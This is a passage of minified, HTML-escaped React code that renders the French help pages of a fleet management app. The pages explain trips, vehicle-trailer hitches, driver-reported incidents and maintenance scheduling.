ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Titre du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Code du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Nom du client&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Référence client&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Immatriculation du véhicule&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Type de chargement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Lieu de chargement ou déchargement&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Filtres par statut&quot;}),&quot; : Utilisez les onglets en haut de la liste pour filtrer :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Tous les voyages&quot;}),a.jsx(&quot;li&quot;,{children:&quot;En préparation&quot;}),a.jsx(&quot;li&quot;,{children:&quot;En cours&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Terminés&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Annulés&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Indicateurs visuels&quot;}),&quot; : Les voyages avec des pannes sont marqués visuellement dans la liste&quot;]})]})]})]})]}),a.jsxs(Il,{value:&quot;attelages&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Xv,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Gestion des Attelages&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Créer un attelage :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Un attelage est l&#039;association d&#039;un véhicule et d&#039;une remorque&quot;}),a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur &quot;,a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1&quot;,children:[a.jsx(Ti,{className:&quot;h-3 w-3&quot;}),&quot; Nouvel attelage&quot;]})]}),a.jsx(&quot;li&quot;,{children:&quot;Sélectionnez un véhicule et une remorque disponibles&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les attelages peuvent être utilisés lors de la création de voyages&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Gérer les attelages :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;La liste affiche tous les attelages actifs&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vous pouvez voir quels véhicules et remorques sont actuellement associés&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les attelages peuvent être modifiés ou supprimés si nécessaire&quot;})]})]})]})]}),a.jsxs(Il,{value:&quot;incidents&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Gestion des Incidents&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-4 text-sm&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex justify-end mb-2&quot;,children:a.jsx(Ms,{text:&quot;La page des incidents affiche tous les voyages en cours avec des incidents signalés par les chauffeurs. Les voyages sont organisés par priorité : incidents urgents en premier. Les types d&#039;incidents sont : Roue, Électricité, Moteur, Frein, Autre. Depuis l&#039;onglet Journal d&#039;un voyage, vous pouvez consulter les détails, répondre avec texte, photos, audio ou vidéo, marquer l&#039;incident comme résolu, et assigner l&#039;incident à un utilisateur. Les indicateurs visuels utilisent des codes couleur : bordure rouge pour incidents urgents, orange pour incidents ouverts, bleue pour messages non lus.&quot;,title:&quot;Gestion des Incidents&quot;,size:&quot;sm&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Vue d&#039;ensemble :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;La page des incidents affiche tous les voyages en cours qui ont des incidents signalés par les chauffeurs. Elle permet de suivre et gérer efficacement tous les problèmes rencontrés pendant les voyages.&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Les voyages sont organisés par ordre de priorité : incidents urgents en premier, puis incidents ouverts, puis voyages avec messages non lus&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Chaque carte de voyage affiche des indicateurs visuels pour identifier rapidement les situations critiques&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Des statistiques globales sont affichées en haut de la page : messages non lus, incidents ouverts, incidents urgents&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Accéder aux incidents d&#039;un voyage :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Cliquez sur une carte de voyage dans la liste des incidents&quot;}),a.jsxs(&quot;li&quot;,{children:[&quot;Vous serez redirigé vers la page de détail du voyage avec l&#039;onglet &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium text-foreground&quot;,children:&quot;Journal&quot;}),&quot; ouvert automatiquement&quot;]}),a.jsx(&quot;li&quot;,{children:&quot;L&#039;affichage scrollera automatiquement vers les incidents du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Si un incident spécifique est sélectionné depuis la page incidents, vous serez dirigé directement vers cet incident dans le journal&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Types d&#039;incidents :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;Les chauffeurs peuvent signaler différents types d&#039;incidents :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Roue&quot;}),&quot; : Problèmes liés aux pneus (crevaison, usure, etc.)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Électricité&quot;}),&quot; : Problèmes électriques du véhicule (batterie, alternateur, phares, etc.)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Moteur&quot;}),&quot; : Problèmes mécaniques du moteur&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Frein&quot;}),&quot; : Problèmes de système de freinage&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Autre&quot;}),&quot; : Tout autre type de problème non catégorisé&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Gérer un incident :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;Depuis l&#039;onglet Journal d&#039;un voyage, vous pouvez :&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3 ml-2&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;📸 Consulter les détails :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Type d&#039;incident et priorité (normale, haute, urgente)&quot;}),a.jsxs(&quot;li&quot;,{children:[&quot;Statut : &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Ouvert&quot;}),&quot;, &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;En cours&quot;}),&quot;, ou &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Résolu&quot;})]}),a.jsx(&quot;li&quot;,{children:&quot;Date et heure de création&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Description détaillée fournie par le chauffeur&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Photos, vidéos ou messages audio associés&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Géolocalisation de l&#039;incident (si disponible)&quot;})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;💬 Répondre à un incident :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Dans l&#039;onglet Journal, trouvez l&#039;incident concerné&quot;}),a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur le bouton &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium text-foreground&quot;,children:&#039;&quot;Répondre&quot;&#039;}),&quot; sous le message d&#039;incident&quot;]}),a.jsxs(&quot;li&quot;,{children:[&quot;Ajoutez votre réponse :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Message texte&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Photo (depuis la galerie ou prise directement)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Message audio (enregistrement vocal)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vidéo (depuis la galerie ou enregistrement direct)&quot;})]})]}),a.jsx(&quot;li&quot;,{children:&quot;Vos réponses s&#039;afficheront dans le fil de discussion de l&#039;incident&quot;})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;✅ Résoudre un incident :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Une fois l&#039;incident traité, vous pouvez le marquer comme résolu&quot;}),a.jsx(&quot;li&quot;,{children:&#039;Le statut passera à &quot;Résolu&quot; et la date de résolution sera enregistrée&#039;}),a.jsx(&quot;li&quot;,{children:&quot;L&#039;incident restera visible dans l&#039;historique pour référence&quot;})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;👤 Assigner un incident :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Vous pouvez assigner un incident à un utilisateur spécifique (mécanicien, gestionnaire, etc.)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Cela permet de suivre qui est responsable du traitement de l&#039;incident&quot;})]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Indicateurs visuels :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;La page des incidents utilise des codes couleur pour identifier rapidement les priorités :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;inline-block w-3 h-3 rounded-full bg-red-500 mr-2&quot;}),a.jsx(&quot;strong&quot;,{children:&quot;Bordure rouge&quot;}),&quot; : Voyage avec incident(s) urgent(s)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;inline-block w-3 h-3 rounded-full bg-orange-500 mr-2&quot;}),a.jsx(&quot;strong&quot;,{children:&quot;Bordure orange&quot;}),&quot; : Voyage avec incident(s) ouvert(s) (non urgent)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;inline-block w-3 h-3 rounded-full bg-blue-500 mr-2&quot;}),a.jsx(&quot;strong&quot;,{children:&quot;Bordure bleue&quot;}),&quot; : Voyage avec messages non lus (pas d&#039;incident ouvert)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1&quot;,children:[a.jsx(Kn,{className:&quot;h-3 w-3 text-red-500&quot;}),&#039; Badge &quot;Urgent&quot;&#039;]}),&quot; : Affiche les incidents de priorité urgente&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1&quot;,children:[a.jsx(Bl,{className:&quot;h-3 w-3 text-orange-500&quot;}),&#039; Badge &quot;En cours&quot;&#039;]}),&quot; : Affiche les incidents ouverts&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium text-foreground&quot;,children:&quot;Badge avec nombre&quot;}),&quot; : Affiche le nombre de messages non lus&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Statistiques et suivi :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[&quot;En haut de la page, trois cartes affichent :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Le nombre total de messages non lus&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le nombre d&#039;incidents ouverts&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le nombre d&#039;incidents urgents&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[&quot;Chaque carte de voyage affiche :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Le nombre total d&#039;incidents&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le nombre d&#039;incidents ouverts&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le nombre d&#039;incidents urgents&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le nombre de messages (lus et non lus)&quot;})]})]}),a.jsx(&quot;li&quot;,{children:&quot;Les voyages sont triés automatiquement pour mettre en avant les situations les plus critiques&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Recherche :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[&quot;Utilisez la barre de recherche pour filtrer les voyages par :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Titre du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Code du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Nom du client&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Lieu de chargement ou déchargement&quot;})]})]}),a.jsx(&quot;li&quot;,{children:&quot;La recherche est effectuée en temps réel pendant la saisie&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Bonnes pratiques :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Vérifiez régulièrement la page des incidents pour identifier rapidement les problèmes&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Répondez rapidement aux incidents urgents pour assurer la continuité des opérations&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Utilisez les messages pour communiquer avec les chauffeurs et obtenir plus d&#039;informations&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Marquez les incidents comme résolus une fois traités pour maintenir un historique propre&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les photos et vidéos fournies par les chauffeurs peuvent aider à diagnostiquer les problèmes&quot;})]})]})]})]}),a.jsxs(Il,{value:&quot;maintenances&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ty,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Gestion des Entretiens&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-4 text-sm&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex justify-end mb-2&quot;,children:a.jsx(Ms,{text:&quot;La page des entretiens permet de planifier, suivre et gérer tous les entretiens préventifs et curatifs de vos véhicules et remorques. Pour créer un entretien, cliquez sur Ajouter une maintenance, sélectionnez l&#039;équipement, choisissez le type d&#039;entretien, renseignez la date prévue et le kilométrage prévu. Les entretiens sont organisés par équipement et filtrés par statut : Tous, Planifiés, En cours, Terminés, En retard. Pour traiter un entretien, mettez à jour le statut, renseignez la date effectuée et le kilométrage effectué, ajoutez les pièces remplacées et le coût de main-d&#039;œuvre, puis ajoutez des documents. Le coût total est calculé automatiquement.&quot;,title:&quot;Gestion des Entretiens&quot;,size:&quot;sm&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Vue d&#039;ensemble :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;La page des entretiens permet de planifier, suivre et gérer tous les entretiens préventifs et curatifs de vos véhicules et remorques. Les entretiens sont organisés par véhicule/remorque pour faciliter le suivi.&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Les entretiens peuvent être planifiés pour les véhicules et les remorques&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Chaque entretien peut être suivi de sa planification jusqu&#039;à sa réalisation&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Des photos et documents peuvent être associés aux entretiens&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le système calcule automatiquement les entretiens en retard selon les dates prévues&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Créer un entretien :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-2 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur le bouton &quot;,a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1 font-medium text-foreground&quot;,children:[a.jsx(Ti,{className:&quot;h-3 w-3&quot;}),&quot; Ajouter une maintenance&quot;]}),&quot; en haut de la page&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Sélectionnez l&#039;équipement&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Choisissez un véhicule ou une remorque&quot;}),a.jsx(&quot;li&quot;,{children:&quot;La liste affiche tous les équipements disponibles&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Choisissez le type d&#039;entretien&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Vidange d&#039;huile&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Changement de filtre à huile&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Changement de filtre à air&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Changement de filtre à carburant&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vérification des freins&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vérification des pneus&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Révision générale&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Réparation&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Autre (précisez dans les notes)&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Renseignez les informations&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Date prévue de l&#039;entretien (obligatoire)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Kilométrage prévu (pour les véhicules, optionnel mais recommandé)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Description ou notes (optionnel)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Photo (optionnelle) : peut être prise directement ou importée depuis la galerie&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium text-foreground&quot;,children:&#039;&quot;Ajouter&quot;&#039;}),&quot; pour créer l&#039;entretien&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Organisation de la liste :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;Les entretiens sont organisés par véhicule/remorque et filtrés par statut :&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3 ml-2&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;📑 Onglets de statut :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Tous&quot;}),&quot; : Affiche tous les entretiens (tous statuts confondus)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Planifiés&quot;}),&quot; : Entretiens créés mais pas encore commencés&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;En cours&quot;}),&quot; : Entretiens en cours de réalisation&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Terminés&quot;}),&quot; : Entretiens complétés&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;En retard&quot;}),&quot; : Entretiens dont la date prévue est dépassée et qui ne sont pas encore terminés&quot;]})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;🚛 Groupement par équipement :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Chaque carte représente un véhicule ou une remorque&quot;}),a.jsx(&quot;li&quot;,{children:&quot;La carte affiche : photo de l&#039;équipement, immatriculation/numéro de châssis, kilométrage actuel (pour véhicules)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Un badge d&#039;alerte indique le nombre d&#039;entretiens en retard pour cet équipement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les entretiens de l&#039;équipement sont affichés sous forme de cartes dans une grille&quot;})]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Traiter un entretien :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;Une fois qu&#039;un entretien est effectué, vous devez le traiter pour enregistrer les détails de réalisation :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-2 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Cliquez sur le bouton de traitement (icône de l&#039;entretien) sur la carte de l&#039;entretien&quot;}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Mettez à jour le statut&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Planifié&quot;}),&quot; : Entretien prévu mais pas encore commencé&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;En cours&quot;}),&quot; : Entretien en cours de réalisation&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Terminé&quot;}),&quot; : Entretien complété&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;En retard&quot;}),&quot; : Date prévue dépassée (automatique)&quot;]})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Renseignez les informations de réalisation&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Date effectuée (date réelle de réalisation)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Kilométrage effectué (kilométrage réel au moment de l&#039;entretien)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Notes ou observations&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Ajoutez des pièces remplacées&quot;}),&quot; (optionnel) :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Nom de la pièce&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Quantité&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Coût unitaire&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le coût total est calculé automatiquement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vous pouvez ajouter plusieurs pièces&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Ajoutez le coût de main-d&#039;œuvre&quot;}),&quot; (optionnel) : Saisissez le montant total de la main-d&#039;œuvre&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Ajoutez des documents&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Photo de l&#039;entretien (prise directement ou importée)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Message audio (enregistrement vocal avec description)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Justificatif (facture, bon de commande, etc.)&quot;})]})]}),a.jsx(&quot;li&quot;,{children:&quot;Le coût total de l&#039;entretien est calculé automatiquement (pièces + main-d&#039;œuvre)&quot;}),a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium text-foreground&quot;,children:&#039;&quot;Enregistrer&quot;&#039;}),&quot; pour sauvegarder le traitement&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Modifier ou supprimer un entretien :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Modifier&quot;}),&quot; : Cliquez sur l&#039;icône d&#039;édition pour modifier les informations d&#039;un entretien planifié (type, date prévue, description, etc.)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Supprimer&quot;}),&quot; : Cliquez sur l&#039;icône de suppression pour supprimer un entretien (avec confirmation de sécurité)&quot;]}),a.jsx(&quot;li&quot;,{children:&quot;Note : Les entretiens terminés peuvent généralement être modifiés pour corriger des informations, mais il est recommandé de créer un nouvel entretien plutôt que de modifier un entretien 